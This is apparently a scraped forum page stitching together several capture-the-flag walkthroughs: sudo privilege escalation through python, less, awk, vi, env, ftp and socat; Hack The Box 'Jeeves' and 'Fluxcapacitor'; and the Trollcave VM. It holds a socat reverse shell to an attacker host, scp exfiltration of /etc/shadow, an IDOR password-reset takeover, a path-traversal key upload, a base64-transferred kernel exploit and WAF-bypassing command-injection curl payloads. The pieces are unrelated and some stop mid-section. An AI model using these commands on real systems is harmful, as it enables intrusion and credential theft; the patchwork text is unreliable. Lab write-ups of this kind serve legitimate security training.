![[Image: 13.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-I1TaJ-ZVUbw/WwZTUtk6LXI/AAAAAAAAXAs/5Zl9NdRrDwkIxg1fsJHpkRHySvDT6GZkwCLcBGAs/s1600/13.png?w=687)
Spawn shell using Python
After compromising the target system and then move for privilege escalation phase as done above and execute the below command to view the sudo user list.
sudo -l
1
sudo -l
At this point, you can perceive the highlighted text is indicating that the user raaz can run Python language program or script as root user. Thus we acquired root access by executing Python one-liner.
sudo python -c 'import pty;pty.spawn("/bin/bash")'
id
1
2
sudo python -c 'import pty;pty.spawn("/bin/bash")'
id
![[Image: 14.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-ybEFrJq8PR0/WwZTUT_VSTI/AAAAAAAAXAo/hs0x2CTUL0kGd4VXdEreic4Ea0ovg_AwgCLcBGAs/s1600/14.png?w=687)
Spawn shell using Less Command
For the privilege, escalation phase executes below command to view the sudo user list.
sudo -l
1
sudo -l
![[Image: 16.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-pwLd4I0nS78/WwZTUlPjQwI/AAAAAAAAXAw/Gok_4ZpheUoN2lJ961XyyPixI3bfzaHGwCLcBGAs/s1600/16.png?w=687)
Here you can observe the highlighted text which is indicating that the user raaz can run less command as root user. Hence we obtained root access by executing the following.
sudo less /etc/hosts
1
sudo less /etc/hosts
![[Image: 17.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-WakRShQRD_s/WwZTVC_bh4I/AAAAAAAAXA0/8trMMtN0fWo-fghXJJjo1ZVnlYhX8dc7wCLcBGAs/s1600/17.png?w=687)
It will open requested system file for editing, BUT for spawning root shell type !bash as shown below and hit enter.
You will get root access as shown in the below image.
![[Image: 18.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-awIMJQqnZ4o/WwZTVX6T8VI/AAAAAAAAXA4/Ra1nm_ItAJ4dwOdNtFkRJgIaDOwAbRkRgCLcBGAs/s1600/18.png?w=687)
Spawn shell using AWK
After the compromise, the target system then moves for privilege escalation phase as done above and execute the below command to view the sudo user list.
sudo -l
1
sudo -l
At this phase, you can notice the highlighted text is representing that the user raaz can run AWK language program or script as root user. Therefore we obtained root access by executing AWK one-liner.
sudo awk 'BEGIN {system("/bin/bash")}'
id
1
2
sudo awk 'BEGIN {system("/bin/bash")}'
id
![[Image: 19.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-3z4d9NLyZDY/WwZTVdOxolI/AAAAAAAAXA8/MNXLKudiLMYK46u-v2_HZCtCE66OYNupgCLcBGAs/s1600/19.png?w=687)
Spawn shell using Man Command (Manual page)
For privilege escalation and execute below command to view sudo user list.
sudo -l
1
sudo -l
Here you can observe the highlighted text is indicating that the user raaz can run man command as root user. Therefore we got root access by executing the following.
sudo man man
1
sudo man man
![[Image: 20.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Ga7s49HvIwk/WwZTWXR7FqI/AAAAAAAAXBE/GP0HgHi5REwrjiAxvJn4kU1-g3-hHsKDACLcBGAs/s1600/20.png?w=687)
It will be displaying Linux manual pages for editing, BUT for spawning root shell type !bash as presented below and hit enter, you get root access as done above using Less command.
![[Image: 21.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-OtJcnU-fFes/WwZTWSvUeQI/AAAAAAAAXBI/TEDWwTP4YLY8ggD-FqGTEB29NuCihVj3ACLcBGAs/s1600/21.png?w=687)
You will get root access as shown in the below image.
![[Image: 24.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-nPNaM0oVeJQ/WwZjoTQRCsI/AAAAAAAAXCk/SMB8EqA2qQgevyIUvQhQ7PesVzOFyG1_gCLcBGAs/s1600/24.png?w=687)
Spawn shell using Vi-editor (Visual editor)
After compromising the target system and then move for privilege escalation phase as done above and execute the below command to view the sudo user list.
sudo -l
1
sudo -l
Here you can observe the highlighted text which is indicating that user raaz can run vi command as root user. Consequently, we got root access by executing the following.
sudo vi
1
sudo vi
![[Image: 22.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-jPyDZ5nFYEw/WwZTWwrFqMI/AAAAAAAAXBQ/Ouvc7z5hqw0XQXbhPYuz16IdvUzLwvQSgCLcBGAs/s1600/22.png?w=687)
Thus, It will open vi editors for editing, BUT for spawning root shell type !bash as shown below and hit enter, you get root access as done above using Less command.
![[Image: 23.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-U2diXcQMxs0/WwZTW47RU-I/AAAAAAAAXBU/hgSzbDISebsa5HZsiF1-t7ZaSBVQv_RNgCLcBGAs/s1600/23.png?w=687)
You will get root access as shown in the below image.
id
whoami
1
2
id
whoami
NOTE: sudo permission for less, nano, man, vi and man is very dangerous as they allow the user to edit system file and lead to Privilege Escalation.
![[Image: 24.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-ZDKThMqVdHQ/WwZTXDs21yI/AAAAAAAAXBY/ute2d8OVU6I39Yo-d8FQ-g-vGo6JRi_XgCLcBGAs/s1600/24.png?w=687)
Allow Root Privilege to Shell Script
There are maximum chances to get any kind of script for the system or program call, it can be any script either Bash, PHP, Python or C language script. Suppose you (system admin) want to give sudo permission to any script which will provide bash shell on execution.
For example, we have some scripts which will provide root terminal on execution, in given below image you can observe that we have written 3 programs for obtaining bash shell by using different programing language and saved all three files: asroot.py, asroot.sh, asroot.c (compiled file shell) inside bin/script.
NOTE: While solving OSCP challenges you will find that some script is hidden by the author for exploit kernel or for root shell and set sudo permission to any particular user to execute that script.
![[Image: 25.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-j6xIQCMa72I/WwZTXaOYcVI/AAAAAAAAXBc/Jnpts2JpoHIebObctZKpJJiXhDkpCKkoQCLcBGAs/s1600/25.png?w=687)
Now allow raaz to run all above script as root user by editing sudoers file with the help of the following command.
raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell
1
raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell
![[Image: 26.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-mqbztNiaMww/WwZTXhfoGCI/AAAAAAAAXBg/xXqwJiwJA7oOPF1HDPURKOLSGMPFk7MYgCLcBGAs/s1600/26.png?w=687)
Spawn root shell by Executing Bash script
For the privilege, escalation phase executes below command to view the sudo user list.
sudo -l
1
sudo -l
The highlighted text is indicating that the user raaz can run asroot.sh as the root user. Therefore we got root access by running asroot.sh script.
sudo /bin/script/asroot.sh
id
1
2
sudo /bin/script/asroot.sh
id
![[Image: 27.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-nloPAfhDgcQ/WwZTX8GnfxI/AAAAAAAAXBk/5IOM2UUB6rA-u1QCkhxfCFBw0587QtMZwCLcBGAs/s1600/27.png?w=687)
Spawn root shell by Executing Python script
Execute below command for privilege escalation to view sudo user list.
sudo -l
1
sudo -l
At this time the highlighted text is showing that user raaz can run asroot.py as the root user. Therefore we acquired root access by executing the following script.
sudo /bin/script/asroot.py
id
1
2
sudo /bin/script/asroot.py
id
![[Image: 28.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/--MPkOtDjETQ/WwZTYJ0zZCI/AAAAAAAAXBo/avWmmoOzn5EqhsC4992AZX4lscY9jH6YACLcBGAs/s1600/28.png?w=687)
Spawn root shell by Executing C Language script
After compromising the target system and then move for privilege escalation and execute below command to view the sudo user list.
sudo -l
1
sudo -l
Here you can perceive the highlighted text is indicating that the user raaz can run shell (asroot.c compiled file) as the root user. So we obtained root access by executing the following shell.
sudo /bin/script/shell
id
1
2
sudo /bin/script/shell
id
![[Image: 29.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-VPe-tKOmB1Q/WwZTYTF5yII/AAAAAAAAXBs/x4LLW7vB--sErAKEOv1tse1hCh7nEJhAgCLcBGAs/s1600/29.png?w=687)
Allow Sudo Right to other Programs
As we have seen above, some binary programs with sudo right are helpful in getting root access. But apart from that, there are some application which can also provide root access if owned sudo privilege such as FTP or socat. In given below command we have assign sudo rights to the following program which can be run as root user.
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
1
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
![[Image: 0.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-J8xJCvskWHQ/W3BOhzc1seI/AAAAAAAAZsA/Emu2n-Fn4VYgh7Dz2epWMeve1sscjpL8QCLcBGAs/s1600/0.png?w=687)
Spawn Shell Using Env
At the time of privilege escalation phase, executes below command to view sudo user list.
sudo -l
1
sudo -l
As we can observe user: raaz has sudo rights for env, FTP, SCP, and Socat, now let’s try to get root access through them one-by-one.
sudo env /bin/bash
whoami
1
2
sudo env /bin/bash
whoami
![[Image: 1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-22D-TwyJWNQ/W3BOh6zBgfI/AAAAAAAAZsE/gw_YjVSig0kUa4xnzV_yGo2fqHJpGmkSgCLcBGAs/s1600/1.png?w=687)
Spawn Shell Using FTP
Now let’s try to get root access through FTP with the help of following commands:
sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami
1
2
3
4
5
6
7
sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami
![[Image: 2.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-5vW-UNCSNfc/W3BOhk_4VFI/AAAAAAAAZr8/uslfJKdfJTUr372x6TUJcmLeCwC3CvPQgCLcBGAs/s1600/2.png?w=687)
Spawn Shell Using Socat
Now let’s try to get root access through socat with the help of following commands. Execute below command on the attacker’s terminal in order to enable listener for reverse connection.
socat file:`tty`,raw,echo=0 tcp-listen:1234
1
socat file:`tty`,raw,echo=0 tcp-listen:1234
Then run the following command on victim’s machine and you will get root access on your attacker machine.
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
1
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
![[Image: 3.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-XmeRwflSsa0/W3BOic6vYDI/AAAAAAAAZsI/RBCsUYCUSIsvOiZKHFgTf7RGNhWenFXUgCLcBGAs/s1600/3.png?w=687)
![[Image: 4.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-n0edo3JPYHo/W3BOiyL2eiI/AAAAAAAAZsM/cmDdirECHVQarLdRvIH-TuGPCgHVpPVdQCLcBGAs/s1600/4.png?w=687)
Spawn shell through SCP
As we know sudo right is available for SCP but it is not possible to get bash shell directory as shown above because it is a means of securely moving any files between a local host and a remote host. Therefore we can use it for transferring those system files which requires root permission to perform read/write operation such as /etc/passwd and /etc/shadow files.
Syntax: scp SourceFile user@host:~/path of the directory
sudo scp /etc/passwd [email protected]:~/
sudo scp /etc/shadow [email protected]:~/
1
2
sudo scp /etc/passwd [email protected]:~/
sudo scp /etc/shadow [email protected]:~/
![[Image: 5.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-bgqCwS-nO2U/W3BOi0DwLII/AAAAAAAAZsQ/n-GROVJPMQkk9uXXDju8Z_-iObdOQ9xdgCLcBGAs/s1600/5.png?w=687)
Now let’s confirm the transformation by inspecting remote directory and as you can observe we have successfully received passwd and shadow files in our remote pc.
![[Image: 6.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-hyZICA9iHdU/W3BOjF4188I/AAAAAAAAZsU/EZeXDQq6mBsqdWtwlMEqTY8SKSrLPEy1ACLcBGAs/s1600/6.png?w=687)
Today we are going to solve another CTF Challenge “Jeeves”. This VM is also developed by Hack the Box, Jeeves is a Retired Lab and there are multiple ways to breach into this VM. In this lab, we have escalated root privilege in 3 different ways and for completing the challenge of this VM we took help from [To see content please register here] (Hack the box).
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Penetrating Methodology- Network Scanning
- Enumeration
- Exploiting Script Console Groovy
- Capture the user.txt
- Privilege Escalation
- Capture the root.txt Flag
Let’s Begin!!
Network Scanning
As these labs are only available online, therefore, they have a static IP. Jeeves Lab has IP: 10.10.10.63.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.63
1
nmap -A 10.10.10.63
Looking around its result we have found that ports 22, 80, 135, 445 and 50000 are open, and moreover, port 135 and 445 were pointing towards Windows operating system.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-pjDaNMHwG9g/WwL3iGAP7sI/AAAAAAAAW-o/vgfGiALV5WIEvJ-7rzsLgcQIYb8cv772gCLcBGAs/s1600/1.png?w=687&ssl=1)
Subsequently, first we checked web service and explored target IP in a web browser and it was put up by “Ask Jeeves search engine” webpage. So we tried to search some website such as google.com and a new web page represented by the fake error page come up in front of us.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-_ar0jpKOigA/WwL3lx-Wl1I/AAAAAAAAW_M/i6CKfSGgdUsxWwcnIWIgxy8XVALgdg0pgCLcBGAs/s1600/2.png?w=687&ssl=1)
On browsing port 50000 in the Web browser give us to HTTP 404 Error page.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-XgaWehmJf8U/WwL3napAdLI/AAAAAAAAW_k/exnUOzYVhJ0ZimslFcvQPo8Zy8YlPWZqgCLcBGAs/s1600/3.png?w=687&ssl=1)
Enumeration
Then we decided to use OWASP Dirbuster for directory brute force attack.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-dR-PQSaLLug/WwL3nc8ThfI/AAAAAAAAW_o/GaycUkX18vUHYMJNaJCtJWQ0bQqNbSRJwCLcBGAs/s1600/4.png?w=687&ssl=1)
From its result, we found so many directories but we drive with /askjeeves for further process.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ZE3Qjw2tPPE/WwL3nwUAU2I/AAAAAAAAW_s/DBR8jSlUiU0gSB0-OPMF11xIM1ZGPz3nwCLcBGAs/s1600/5.png?w=687&ssl=1)
So when we had explored 10.10.10.63:50000/askjeeves it leads us to “Jenkins Dashboard”. Oh yes!! It was WOW time for us because we knew that there are so many ways to exploit Jenkins. So we move into the “Manage Jenkins” option because it was the spine and abuse was pretty soothing.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-tDOCRLA-RSw/WwL3oWw786I/AAAAAAAAW_w/64pPaOuW4CEhOGDLrdK9CND8ShkuxE8pwCLcBGAs/s1600/6.png?w=687&ssl=1)
Exploiting Jenkins
There were so many options, but we were interested in the Script Console because Jenkins has a very nice Groovy script console that allows someone to execute arbitrary Groovy scripts within the Jenkins master runtime.
|
|
|
|
| [Guide] How to Hack the Trollcave VM (Boot to Root) |
|
Posted by: NINZA - 05-14-2020, 08:50 AM - Forum: Carders Home
- No Replies
|
 |
Today we are going to take one another CTF challenge known as Trollcave. The credit for making this VM machine goes to “David Yates” and it is another boot to root challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM from [To see content please register here]
Penetrating Methodology - Network Scanning (Nmap, netdiscover)
- Information gathering:
- Examining the Web Application framework (Ruby on Rails)
- Mutable User IDs from 1 to 17 to confirm King’s page for super admin’s Account
- Abusing Rails default directory for password reset (Google)
- Exploiting IDOR to reset Password for King’s Account
- Login into super admin console (King’s account)
- Explore the file manager tab and enable the uploading option
- Generate SSH RSA key without password
- Upload RSA key
- Pwn tty shell by ssh login
- Kernel privilege escalation (searchsploit)
- Encode exploit with base64
- Transfer in the victim’s machine and decode it.
- Run the kernel exploits and Gain root access
- Capture the flag and Finished the challenge
Let’s Breach!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.124 but you will have to find your own)
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-v6P19o5i44U/WwF_cGiPxEI/AAAAAAAAW7g/2Bn37xFvWkkIFYwkDqJVR-zXSogEm73jwCLcBGAs/s1600/1.png?w=687&ssl=1)
Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.124
1
nmap -A 192.168.1.124
Awesome!! Nmap has dumped the details of services running on open port 22 and 80.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-Slr-OJctIyU/WwF_d-_iwRI/AAAAAAAAW74/B1fLf7wz74crkPKYzHt7TpzeS3ywTgNXwCLcBGAs/s1600/2.png?w=687&ssl=1)
Knowing that port 80 is open in the victim’s network I preferred to explore his IP in a browser. At first glance, we saw three tabs Home, login and Register.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-gXnx-57Hecw/WwF_faIfB4I/AAAAAAAAW8M/MWCGHzZYaVc8Dy9ScpkH6CKJw2gNNM_dACLcBGAs/s1600/3.png?w=687&ssl=1)
Then we will scroll down the page and look at Ruby gem and found that this site is based on Ruby on rails. And on the right side, we saw two categories i.e. 0nline users and Newest users, when we click on “xer” a new web page gets opened.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-D8JqUioywck/WwF_frhkFjI/AAAAAAAAW8Q/FoYgkDxv7iMhLF-7iRA2lLmeF-dmwX9QwCLcBGAs/s1600/4.png?w=687&ssl=1)
From its URL we perceived that user xer has user ID 17 and hence there must be any user between user ID 1 to 17.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-VJQMYm164LE/WwF_f3yw59I/AAAAAAAAW8U/TYzuv1qfwfkIIpCRj5vtkNjIfA8LwdoegCLcBGAs/s1600/5.png?w=687&ssl=1)
So we manually replace id 17 from id 1 and found King’s page which was for a superadmin account.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-UBXVwftyRow/WwF_gST4f6I/AAAAAAAAW8Y/MEPCvsT3FJso0g_ORqHmsAldHrvNj7iWQCLcBGAs/s1600/6.png?w=687&ssl=1)
At its home page, we read the post password reset by coderguy, represented by ruby gem for rail password reset and from Google we found default directory for password reset for reset. So we explored [To see content please register here] and obtained the password reset form. Very first we tried to reset superadmin password but unfortunately got failed, But successfully got the link for xer password reset.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-NF2VNR6NATU/WwF_b_VYc6I/AAAAAAAAW7c/FjsLvZL2R3YQTtgYAWprwkaT6rtkdQ45QCLcBGAs/s1600/14.png?w=687&ssl=1)
Yeah!! It was Pretty Good to see a link for xer password reset, then we have copied that link.
[To see content please register here]
1
[To see content please register here]
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-F_O0It3ry_8/WwF_brIwaCI/AAAAAAAAW7Y/esoplGPZv4UMK8s3PpiUNcUr6a096JnwACLcBGAs/s1600/15.png?w=687&ssl=1)
And paste the copied link in URL, then swap name=xer from the king as given below, later we entered a new password for superadmin (king), it is known as IDOR.
[To see content please register here]
1
[To see content please register here]
Well!!! On executing URL; it gives a message “password reset successfully” and then we logged in superadmin account.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-EY5UjwG4Deg/WwF_cqjyORI/AAAAAAAAW7o/CvA9yauc3mwXs4mIXw6Pwwc00pBoNk26wCLcBGAs/s1600/16.png?w=687&ssl=1)
Yippee!!! Finally, we logged in as superadmin and access the admin console, we saw many tabs and apparently click on the file manager.
![[Image: 17.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-sdZAK_SdG48/WwF_chMxdFI/AAAAAAAAW7k/RzFpaHBQXOkxiTYk0wEQhzkhyUOJg4fJQCLcBGAs/s1600/17.1.png?w=687&ssl=1)
Here we saw enable file upload option, and we enabled it so that we can upload any backdoor whenever we need to upload that.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-a0AfMgOY6tU/WwF_cmKzVVI/AAAAAAAAW7s/IRN221f2M-UszCC4XRXbrJZXrzdW7VvPgCLcBGAs/s1600/17.png?w=687&ssl=1)
Thus we started from uploading PHP backdoor but failed to upload, similarly, we tried so many backdoors such as ruby, C shell and many more but got failed each time. After so many attempts we successfully uploaded ssh RSA file.
To do so follow the below steps:
ssh-keygen -f rails
mv rails.pub authorized_keys
chmod 600 rails
1
2
3
ssh-keygen -f rails
mv rails.pub authorized_keys
chmod 600 rails
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-cYL7SMoa8D8/WwF_dd3g2qI/AAAAAAAAW7w/GMPcSzh9uPgl3eqh9bGhzIw_l0UQH3ReQCLcBGAs/s1600/18.png?w=687&ssl=1)
Here we have generated ssh RSA key file by the name of rails without a password and transferred rails.pub into authorized_keys and gave permission 600 for proper authentication.
Then upload the authorized_keys and add ../../../../../../home/rails/.ssh/authorized_keys path manually.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-qQbCA_UyEnM/WwF_d0qHp8I/AAAAAAAAW70/r-t_n2Tg268Vc9TYn5r2KF83pXS9i853gCLcBGAs/s1600/19.png?w=687&ssl=1)
So after uploading the SSH key, it was time to connect the target machine through ssh key.
ssh -i rails [email protected]
1
ssh -i rails [email protected]
Awesome!! From the below image, you can observe the target machine’s tty shell.
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-8QZ7BZ3_atw/WwF_d23IiFI/AAAAAAAAW78/ul-x0Eket6UA9-nfsjJ4Ml8T5r2ly2G4gCLcBGAs/s1600/20.png?w=687&ssl=1)
Then we will execute lsb_release -a command to know the version of the kernel and found 16.04. After then with the help of searchsploit found kernel exploit 44298.c for local privilege escalation.
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-qzYVzdLXdBo/WwF_ejZAW6I/AAAAAAAAW8A/O2-qn1AXXTo3xBHBqRHh1qXQpNVn0-dDgCLcBGAs/s1600/22.png?w=687&ssl=1)
At that time we copied this exploit to Desktop and compiled it, so it was impossible to transfer the exploit using a simple compiled file, so we need to encode it in base64. You use the command below to follow the same steps.
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/44298.c .
gcc 44298.c -o kernel
base64 kernel
1
2
3
4
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/44298.c .
gcc 44298.c -o kernel
base64 kernel
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-fE8svOoOshI/WwF_e-JX_cI/AAAAAAAAW8E/Qefw5ae-vuktTRIcT8SpmZKYitheRhAbgCLcBGAs/s1600/23.png?w=687&ssl=1)
We copied the base64 encoded value and then moved to the target terminal, where we created an empty exploit.base64 file with the help of the nano editor and pasted the copied encoding code above.
nano exploit.base64
1
nano exploit.base64
Far ahead, we decoded it as rootshell in a new file and gave all permissions to the decoded file. Finally, we run the rootshell file to get root privilege.
cat exploit.base64 |base64 -d > rootshell
chmod u+x rootshell
./rootshell
id
cd /root
cat flag.txt
1
2
3
4
5
6
cat exploit.base64 |base64 -d > rootshell
chmod u+x rootshell
./rootshell
id
cd /root
cat flag.txt
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-O-GUw4M7Uss/WwF_fKKzyEI/AAAAAAAAW8I/L8ujmou6tzEUfyP431IY8VyTrHipdmI-gCLcBGAs/s1600/27.png?w=687&ssl=1)
BINGO!!!! We got the root flag!!!
Today we are sharing our experience that can be helpful in solving new CTF challenge: Fluxcapacitor of Hack The Box. Solving this lab is not much easy, all you need is your web penetration testing skills to solve this challenge. This lab is designed to bypass the Web Application Firewall (WAF) for exploiting OS command injection vulnerability in this machine.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Penetration Methodology- Network Scanning
- Enumeration
- Exploiting
- Privilege Escalation
- Capture root.txt file
Let’s Begin!!
Network Scanning
These labs are only available online, therefore, they have a static IP. Fluxcapacitor has IP: 10.10.10.69.
As we knew, the initial stage is enumeration; therefore, use the nmap version scan to collect information about the target machine and running services.
nmap -sV 10.10.10.69
1
nmap -sV 10.10.10.69
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-eqUJgoM32R4/Wv5vZBoeqeI/AAAAAAAAW6A/MqFwal3retw8gERHBBJmwrkBjcxHfEmnACLcBGAs/s1600/1.png?w=687&ssl=1)
From its scanning result, it tells us that port 80 is open to web services and is also protected by the “superWAF” web application firewall, so we explored the target IP in the web browser but found nothing interesting.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Y6ouGmKAJKI/Wv5vazas5dI/AAAAAAAAW6g/QjWZqhs1S-8OnsL0Ia9Xp_HIi34wmkAeACLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration
Then we looked into its source code and saw an exciting comment pointing to URL: /sync, and without wasting time, we opened /sync in URL.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-hhe3DUbK_Ic/Wv5vaweZR_I/AAAAAAAAW6k/74KR5zRGfTUZf-awViESI9qz4f7VwADswCLcBGAs/s1600/3.png?w=687&ssl=1)
LOL!!! It gave 403 forbidden error message and something openresty/1.13.6.1 then we looked at Google for any exploit related to it, but could not find any working exploit against it.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-msjofHTgyXA/Wv5vbVOzkEI/AAAAAAAAW6o/XEj937vCa88VngY_geWGREswBNaT_--gwCLcBGAs/s1600/4.png?w=687&ssl=1)
At the moment, we decided to use burp suite to intercept our browser request. After intercepting the HTTP request, the raw information is sent to the repeater.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-5MlLEnG7A2k/Wv5vbRmxE9I/AAAAAAAAW6s/oHCRwiTb9I4kMR0SyXb3wSO7X0Yb4O9vgCLcBGAs/s1600/5.png?w=687&ssl=1)
Yeah!! It was the same output as in the web browser. There might be some chances of WAF filter restriction on user agents such as Mozilla Firefox/5.0.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hjTCV47-BKw/Wv5vbshJ8mI/AAAAAAAAW6w/_voA7vQWJo4pRurJPbXJ29Tf05ag33cQwCLcBGAs/s1600/6.png?w=687&ssl=1)
So we start scrutiny for the User- Agent field by randomly replacing the original user- agent content from “raj.” Finally!!! It gave the current timestamp as disclosed in the comment found in the home page source code.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-IViC61XXMHA/Wv5vb_LdOFI/AAAAAAAAW60/0kKzYBTotE8u-Sb9_nYlIhN9u3gSXvx9wCLcBGAs/s1600/7.png?w=687&ssl=1)
Now it was confirmed that there was a SuperWAF filter against the user agent field, so we tried to search for its exploit in Google, but we didn’t find any particular exploit. Nevertheless, Google gave a little hint for OS command injection and on the basis of that, we try a few parameters in the HTTP- header, such as /sync?test= ls, which answer each time with the same timestamp. Therefore, we need to fuzz the proper directory, so we will use wfuzz in our next step.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-aHyFvw7Dlt4/Wv5vcHxQcPI/AAAAAAAAW64/4Axisr2Ve_EiIAETD_SfIw77wfwBk_dYwCLcBGAs/s1600/8.png?w=687&ssl=1)
Exploiting
So we use common.txt wordlist for URL brute force and will execute below command.
wfuzz -w /usr/share/wordlists/dirb/common.txt -u [To see content please register here] -c --hh 19
1
wfuzz -w /usr/share/wordlists/dirb/common.txt -u [To see content please register here] -c --hh 19
It gave 403 response for payload “opt”; let’s try to opt after/sync and identify the response.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-RrORjCSAiiE/Wv5vZDydXwI/AAAAAAAAW6E/4OlQ3bq7ef4SJy4T1RKgVVt2Ta-H3Iv_gCLcBGAs/s1600/10.png?w=687&ssl=1)
Now use the’ opt’ parameter to bypass WAF and execute ls command through it, HOWEVER again, there is a trick to execute ls command. Because WAF won’t allow you to execute OS command injection directly, it will be a little harder to exploit it. But THANKS to [To see content please register here] , because I have the idea of bypassing WAF to exploit OS command injection known as string literal concatenation from this website, it means that adjacent string literals are concatenated, without any operator.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-C5sl4Tj6ukk/Wv5vaJ515iI/AAAAAAAAW6Q/Gj4hayaKcYUKfY30ZjikJpb8LEzENqjIQCLcBGAs/s1600/11.png?w=687&ssl=1)
We took help from the website I mentioned above and executed three commands: whoami, id, uname through curl as shown in the image.
curl "http://10.10.10.69/sync?opt=' whoami'"
curl "http://10.10.10.69/sync?opt=' id'"
curl "http://10.10.10.69/sync?opt=' u'n'ame -a'"
1
2
3
curl "http://10.10.10.69/sync?opt=' whoami'"
curl "http://10.10.10.69/sync?opt=' id'"
curl "http://10.10.10.69/sync?opt=' u'n'ame -a'"
Superb!! It was great to know that we have successfully bypassed WAF, but the task is still not finished.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Civ7AKNPmmA/Wv5vZk5J5_I/AAAAAAAAW6I/kzFdnZmi9W8e2nJ55oiUK6dH7_2FxtliwCLcBGAs/s1600/12.png?w=687&ssl=1)
Let’s seize the user.txt and root.txt file and finish this task. Hhhhhh!!!! Believe me, it’s still not easy to bypass WAF even if your goal is near.
Seriously, we put a lot of effort and finally found user.txt when we executed the commands below:
curl "http://10.10.10.69/sync?opt=' l's' /home'"
curl "http://10.10.10.69/sync?opt=' l's' /home/Fl'uxC'apa'cit'orI'n'c'"
curl "http://10.10.10.69/sync?opt=' c'at' /home/Fl'uxC'apa'cit'orI'n'c/u'ser'.'txt''"
1
2
3
curl "http://10.10.10.69/sync?opt=' l's' /home'"
